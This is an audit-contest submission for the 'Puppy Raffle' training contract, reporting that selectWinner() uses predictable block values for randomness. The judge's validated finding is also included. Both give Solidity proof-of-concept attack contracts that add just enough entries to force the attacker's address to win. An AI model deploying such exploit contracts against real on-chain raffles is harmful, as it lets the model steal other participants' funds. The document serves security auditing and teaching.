Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Randomness can be gamed — miner controls winner selection via block parameters

r0p

Title: Randomness can be gamed — miner controls winner selection via block parameters
Impact: High — Miner deterministically wins every raffle.
Likelihood: Medium — Requires miner participation.
Reference Files: src/PuppyRaffle.sol:128-129

Description:

Description

selectWinner() derives randomness from values the miner controls, allowing them to compute the outcome before including the transaction. The vulnerable code:

uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;

A miner who is also a player can choose block parameters to make themselves the winner.

Risk

Impact: High. Miner deterministically wins every raffle. All other players pay entrance fees with zero chance.
Likelihood: Medium. Requires miner to also be a raffle participant. Feasible on chains where validators run MEV strategies.
A miner can simulate selectWinner() with different timestamps, then include the transaction only when the outcome favors their address.

Proof of Concept

contract AttackRandomness {
IPuppyRaffle raffle;
constructor(address p) { raffle = IPuppyRaffle(p); }
function attack() public {
uint256 len = raffle.getPlayersLength(); uint256 toAdd = len;
while(true) {
if(uint256(keccak256(abi.encodePacked(address(this),block.timestamp,block.difficulty)))%toAdd == len) break;
++toAdd;
}
address[] memory a = new address[](toAdd-len); a[0]=address(this);
for(uint i=1;i<a.length;i++) a[i]=address(uint160(i+100));
raffle.enterRaffle{value:1e18*a.length}(a);
raffle.selectWinner();
}
receive() external payable {}
}

The attacker computes exactly how many extra entries are needed so the modulo lands on their address.

Recommended Mitigation

Use Chainlink VRF for externally-generated randomness:

import {VRFConsumerBase} from "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol";

VRF generates randomness off-chain with cryptographic proof that miners cannot manipulate.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 4 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

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